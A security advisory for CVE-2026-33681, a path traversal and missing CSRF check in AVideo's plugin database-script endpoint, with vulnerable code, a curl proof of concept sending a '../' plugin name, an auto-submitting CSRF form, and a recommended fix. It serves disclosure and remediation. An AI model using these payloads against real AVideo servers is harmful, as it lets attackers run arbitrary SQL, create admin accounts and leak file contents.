wwbn/avideo
Affected
- introduced
0, last affected26.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33681
AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name
Summary
The objects/pluginRunDatabaseScript.json.php endpoint accepts a name parameter via POST and passes it to Plugin::getDatabaseFileName() without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any install/install.sql file on the filesystem as raw SQL queries against the application database.
Details
The vulnerable data flow:
1. Entry point — objects/pluginRunDatabaseScript.json.php:21:
$fileName = Plugin::getDatabaseFileName($_POST['name']);
2. "Sanitization" — objects/plugin.php:343-354:
public static function getDatabaseFileName($pluginName)
{
global $global;
$pluginName = AVideoPlugin::fixName($pluginName); // line 347 — no-op
$dir = $global['systemRootPath'] . "plugin";
$filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
if (!file_exists($filename)) {
return false;
}
return $filename;
}
3. The "fix" — plugin/AVideoPlugin.php:3184-3190:
public static function fixName($name)
{
if ($name === 'Programs') {
return 'PlayLists';
}
return $name; // Returns input unchanged for all other values
}
4. SQL execution — objects/pluginRunDatabaseScript.json.php:24-36:
$lines = file($fileName);
foreach ($lines as $line) {
// ...
if (!$global['mysqli']->query($templine)) {
$obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
die($templine.' '.json_encode($obj)); // Leaks file content + SQL error
}
}
The sibling endpoint pluginRunUpdateScript.json.php correctly routes through AVideoPlugin::loadPlugin() which sanitizes the name with preg_replace('/[^0-9a-z_]/i', '', $name) at AVideoPlugin.php:395. The vulnerable endpoint bypasses this sanitization entirely.
Additionally, the endpoint lacks CSRF token validation. The related pluginImport.json.php properly checks isGlobalTokenValid(), but pluginRunDatabaseScript.json.php does not, making it exploitable via cross-site request forgery against an authenticated admin.
PoC
Step 1: Direct exploitation (as admin)
# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
-d "name=../plugin/LiveLinks" \
"https://target.com/objects/pluginRunDatabaseScript.json.php"
This resolves to: {root}/plugin/../plugin/LiveLinks/install/install.sql and executes its SQL.
Step 2: CSRF exploitation (no direct admin access needed)
Host the following HTML on an attacker-controlled page and trick an admin into visiting it:
<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
<input type="hidden" name="name" value="../../attacker-controlled-path" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Step 3: Information disclosure via error messages
If the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:
{"error":true,"msg":"Error performing query '<strong>FILE CONTENT HERE': MySQL error..."}
Impact
install/install.sql file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.install.sql file and then execute it via this endpoint.Recommended Fix
Apply the same sanitization used by loadPlugin() to strip path traversal characters, and add CSRF token validation:
// In objects/pluginRunDatabaseScript.json.php, after line 14:
// Add CSRF protection
if (!isGlobalTokenValid()) {
die('{"error":"' . __("Invalid token") . '"}');
}
// Sanitize plugin name before use (line 21)
$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));
$fileName = Plugin::getDatabaseFileName($pluginName);
Alternatively, fix AVideoPlugin::fixName() to apply proper sanitization for all callers:
public static function fixName($name)
{
if ($name === 'Programs') {
$name = 'PlayLists';
}
return trim(preg_replace('/[^0-9a-z_]/i', '', $name));
}High Basis: The source's own band: HIGH
0, last affected 26.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0